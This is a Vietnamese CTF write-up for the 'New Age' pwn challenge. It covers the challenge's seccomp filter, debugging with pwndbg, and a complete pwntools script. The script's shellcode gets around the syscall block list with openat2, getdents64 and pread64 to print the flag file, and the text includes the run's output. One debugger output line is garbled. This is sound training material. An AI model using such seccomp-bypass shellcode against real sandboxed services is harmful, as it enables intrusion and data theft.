0xL4ugh CTF V5

New Age

January 25, 2026 January 24, 2026 Easy
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec new_age
[*] '/home/hungnt/ctfs/0xl4ugh/new_age/new_age'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
hungnt@hungnt-ubuntu:~/ctfs/0xl4ugh/new_age$ seccomp-tools dump ./new_age
Welcome to the 'New Age' Sandbox

Here is the key

Send shellcode (max 4096 bytes): 
A
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x1c 0xc000003e  if (A != ARCH_X86_64) goto 0030
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x19 0xffffffff  if (A != 0xffffffff) goto 0030
 0005: 0x15 0x18 0x00 0x00000002  if (A == open) goto 0030
 0006: 0x15 0x17 0x00 0x00000028  if (A == sendfile) goto 0030
 0007: 0x15 0x16 0x00 0x00000029  if (A == socket) goto 0030
 0008: 0x15 0x15 0x00 0x0000002a  if (A == connect) goto 0030
 0009: 0x15 0x14 0x00 0x00000038  if (A == clone) goto 0030
 0010: 0x15 0x13 0x00 0x00000039  if (A == fork) goto 0030
 0011: 0x15 0x12 0x00 0x0000003a  if (A == vfork) goto 0030
 0012: 0x15 0x11 0x00 0x0000003b  if (A == execve) goto 0030
 0013: 0x15 0x10 0x00 0x000000a1  if (A == chroot) goto 0030
 0014: 0x15 0x0f 0x00 0x00000101  if (A == openat) goto 0030
 0015: 0x15 0x0e 0x00 0x00000142  if (A == execveat) goto 0030
 0016: 0x15 0x0d 0x00 0x000001b3  if (A == 0x1b3) goto 0030
 0017: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0023
 0018: 0x20 0x00 0x00 0x0000001c  A = buf >> 32 # read(fd, buf, count)
 0019: 0x25 0x09 0x00 0x0000790e  if (A > 0x790e) goto 0029
 0020: 0x15 0x00 0x09 0x0000790e  if (A != 0x790e) goto 0030
 0021: 0x20 0x00 0x00 0x00000018  A = buf # read(fd, buf, count)
 0022: 0x35 0x06 0x07 0x5227bc00  if (A >= 0x5227bc00) goto 0029 else goto 0030
 0023: 0x15 0x00 0x05 0x00000001  if (A != write) goto 0029
 0024: 0x20 0x00 0x00 0x0000001c  A = buf >> 32 # write(fd, buf, count)
 0025: 0x25 0x04 0x00 0x0000790e  if (A > 0x790e) goto 0030
 0026: 0x15 0x00 0x02 0x0000790e  if (A != 0x790e) goto 0029
 0027: 0x20 0x00 0x00 0x00000018  A = buf # write(fd, buf, count)
 0028: 0x25 0x01 0x00 0x5227b400  if (A > 0x5227b400) goto 0030
 0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0030: 0x06 0x00 0x00 0x00000000  return KILL

Code

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setbuf(_bss_start, 0LL);
  alarm(0x3Cu);
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  puts("Welcome to the 'New Age' Sandbox\n");
  puts("Here is the key\n");
  puts("Send shellcode (max 4096 bytes): ");
  code_region = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  read(0, code_region, 0x1000uLL);
  setup();
  ((void (*)(void))code_region)();
  return 0;
}

Solve

Vì trong seccomp BPF được dump ở trên có chứa địa chỉ gì đó, mình chưa biết nó là ở đâu vì ASLR đang được bật.

Vậy mình sẽ check lại trong pwndbg:

pwndbg> catch syscall seccomp
pwndbg> catch syscall prctl

Continue vài lần cho đến khi RDX như vậy:

pwndbg> regs
*RAX  0xffffffffffffffda
 RBX  0x5555555592a0 ◂— 0x7fff0000a1b2c3d4
*RCX  0x7ffff7d2728d (syscall+29) ◂— cmp rax, -0xfff
*RDX  0x55555555b040 ◂— 0x1f
*RDI  1
*RSI  0
*R8   1
*R9   0x5555555592a0 ◂— 0x7fff0000a1b2c3d4
*R10  1
 R11  0x246
 R12  0
 R13  0
 R14  0x55555555b040 ◂— 0x1f
*R15  0x7ffff7ffd001 (_rtld_global+1) ◂— 0x500007ffff7ffe2
*RBP  0x7fffffffda90 —▸ 0x7fffffffdaf0 —▸ 0x7fffffffdb00 —▸ 0x7fffffffdba0 —▸ 0x7fffffffdc00 ◂— ...
*RSP  0x7fffffffda38 —▸ 0x7ffff7f9405a (seccomp_load+282) ◂— mov r12d, eax
*RIP  0x7ffff7d2728d (syscall+29) ◂— cmp rax, -0xfff

parse-seccomp được output như sau:

pwndbg> parse-seccomp 0x55555555b040
sock_fprog @ 0x55555555b040
  len          = 31
  filter_addr  = 0x55555555e5a0
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x1c 0xc000003e  if (A != ARCH_X86_64) goto 0030
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x19 0xffffffff  if (A != 0xffffffff) goto 0030
 0005: 0x15 0x18 0x00 0x00000002  if (A == open) goto 0030
 0006: 0x15 0x17 0x00 0x00000028  if (A == sendfile) goto 0030
 0007: 0x15 0x16 0x00 0x00000029  if (A == socket) goto 0030
 0008: 0x15 0x15 0x00 0x0000002a  if (A == connect) goto 0030
 0009: 0x15 0x14 0x00 0x00000038  if (A == clone) goto 0030
 0010: 0x15 0x13 0x00 0x00000039  if (A == fork) goto 0030
 0011: 0x15 0x12 0x00 0x0000003a  if (A == vfork) goto 0030
 0012: 0x15 0x11 0x00 0x0000003b  if (A == execve) goto 0030
 0013: 0x15 0x10 0x00 0x000000a1  if (A == chroot) goto 0030
 0014: 0x15 0x0f 0x00 0x00000101  if (A == openat) goto 0030
 0015: 0x15 0x0e 0x00 0x00000142  if (A == execveat) goto 0030
 0016: 0x15 0x0d 0x00 0x000001b3  if (A == 0x1b3) goto 0030
 0017: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0023
 0018: 0x20 0x00 0x00 0x0000001c  A = buf >> 32 # read(fd, buf, count)
 0019: 0x25 0x09 0x00 0x00007fff  if (A > 0x7fff) goto 0029
 0020: 0x15 0x00 0x09 0x00007fff  if (A != 0x7fff) goto 0030
 0021: 0x20 0x00 0x00 0x00000018  A = buf # read(fd, buf, count)
 0022: 0x35 0x06 0x07 0xf7fbcc00  if (A >= 0xf7fbcc00) goto 0029 else goto 0030
 0023: 0x15 0x00 0x05 0x00000001  if (A != write) goto 0029
 0024: 0x20 0x00 0x00 0x0000001c  A = buf >> 32 # write(fd, buf, count)
 0025: 0x25 0x04 0x00 0x00007fff  if (A > 0x7fff) goto 0030
 0026: 0x15 0x00 0x02 0x00007fff  if (A != 0x7fff) goto 0029
 0027: 0x20 0x00 0x00 0x00000018  A = buf # write(fd, buf, count)
 0028: 0x25 0x01 0x00 0xf7fbc400  if (A > 0xf7fbc400) goto 0030
 0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0030: 0x06 0x00 0x00 0x00000000  return KILL

Vậy mình chỉ có thể read() từ offset 0xc00 trở lên và write() từ offset 0x400 trở xuống, không nhất thiết phải ở trong vùng được mmap.

pwndbg> vmmap 0x7ffff7fbcc00
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
               Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
      0x7ffff7fa5000     0x7ffff7fa6000 rw-p     1000   1e000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
     0x7ffff7fbc000     0x7ffff7fbd000 rwxp     1000       0 [anon_7ffff7fbc] +0xc00
      0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000       0 [anon_7ffff7fbd]
pwndbg> vmmap 0x7ffff7fbc400
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
               Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
      0x7ffff7fa5000     0x7ffff7fa60Ai  ngờ được tên file của flag trên remote  `flag_name_Should_Be_R@ndom_ahahahahahahahahah.txt`. Nếu vậy thì chỉ cần openat2()00 rw-p     1000   1e000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
     0x7ffff7fbc000     0x7ffff7fbd000 rwxp     1000       0 [anon_7ffff7fbc] +0x400
      0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000       0 [anon_7ffff7fbd]

Ai mà ngờ được tên file của flag trên remote là flag_name_Should_Be_R@ndom_ahahahahahahahahah.txt luôn?

Thôi thì mình làm với tâm thế không biết tên file, vậy thì làm 2 thứ:

  1. Liệt kê file trong thư mục hiện tại:
    • openat2() để mở thư mục hiện tại.
    • getdents64() để liệt kê tên file và ghi vào vùng ghi được của libc (read() được vì ở địa chỉ thấp hơn so với vùng được mmap).
    • write() để in ra tên file.
    • read() để đọc shellcode chạy bước 2, rồi jump đến đó.
  2. Đọc flag:
    • openat2() để mở file flag.
    • pread64() để đọc nội dung file vào vùng ghi được của libc.
    • write() để đọc flag.
    • exit().

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("new_age_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *main+209
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "159.89.106.147"
        port = 1337
        return remote(host, port)

p = conn()

print("Listing directory...")

shellcode = asm('''
    jmp start
    
    path:
        .string "."
    open_how:
        .quad 0x10000
        .quad 0
        .quad 0
    
    start:
        mov r9, rdx
                
        mov rax, 437
        mov rdi, -100
        lea rsi, [rip + path]
        lea rdx, [rip + open_how]
        mov r10, 24
        syscall
    
        mov r8, rax

        mov rax, [rsp + 0x10]
        mov rdi, r8
        mov rsi, rax
        add rsi, 0x1bd358
        mov rdx, 1024
        mov rax, 217
        syscall
                
        mov rdx, rax
        mov rax, 1
        mov rdi, 1
        syscall
        
        mov r8, rsi

        add r9, 0xc00
        mov rdi, 0
        mov rsi, r9
        mov rdx, 0x400
        xor rax, rax
        syscall

        mov rdx, rsi
        xor rax, rax
        call rdx
''')

sla(p, b'Send shellcode (max 4096 bytes): \n', shellcode)

def parse_getdents64(data):
    entries = []
    offset = 0
    
    while offset < len(data) - 19:
        d_ino = u64(data[offset:offset+8])
        if d_ino == 0:
            break
            
        d_reclen = u16(data[offset+16:offset+18])
        if d_reclen == 0:
            break
        
        name_end = data.find(b'\x00', offset+19)
        if name_end > offset+19:
            name = data[offset+19:name_end].decode('utf-8', errors='ignore')
            entries.append(name)
        
        offset += d_reclen
    
    return entries

filename = parse_getdents64(rr(p, 2))[2] # 2 on remote
print("filename:", filename)

sleep(1)

print("Reading flag...")
shc = asm(f'''
    jmp start
    
    path:
        .string "./{filename}"
    open_how:
        .quad 0
        .quad 0
        .quad 0
    
    start:
        mov rax, 437
        mov rdi, -100
        lea rsi, [rip + path]
        lea rdx, [rip + open_how]
        mov r10, 24
        syscall

        mov rdi, rax
        mov rsi, r8
        mov rdx, 0x400
        xor r10, r10
        mov rax, 17
        syscall

        mov rdx, rax
        mov rdi, 1
        mov rsi, r8
        mov rax, 1
        syscall

        mov rax, 60
        xor rdi, rdi
        syscall
''')

sl(p, shc)

print("Flag:", ra(p, 2).strip().decode())
$ py solve.py
[!] Did not find any GOT entries
[+] Opening connection to 159.89.106.147 on port 1337: Done
Listing directory...
filename: flag_name_Should_Be_R@ndom_ahahahahahahahahah.txt
Reading flag...
[+] Receiving all data: Done (73B)
[*] Closed connection to 159.89.106.147 port 1337
Flag: 0xL4ugh{D0n'tF000rgoot_k33p_up_Ieesss_withhhh_n3w_5y5c4llsssss5s5s5ssss}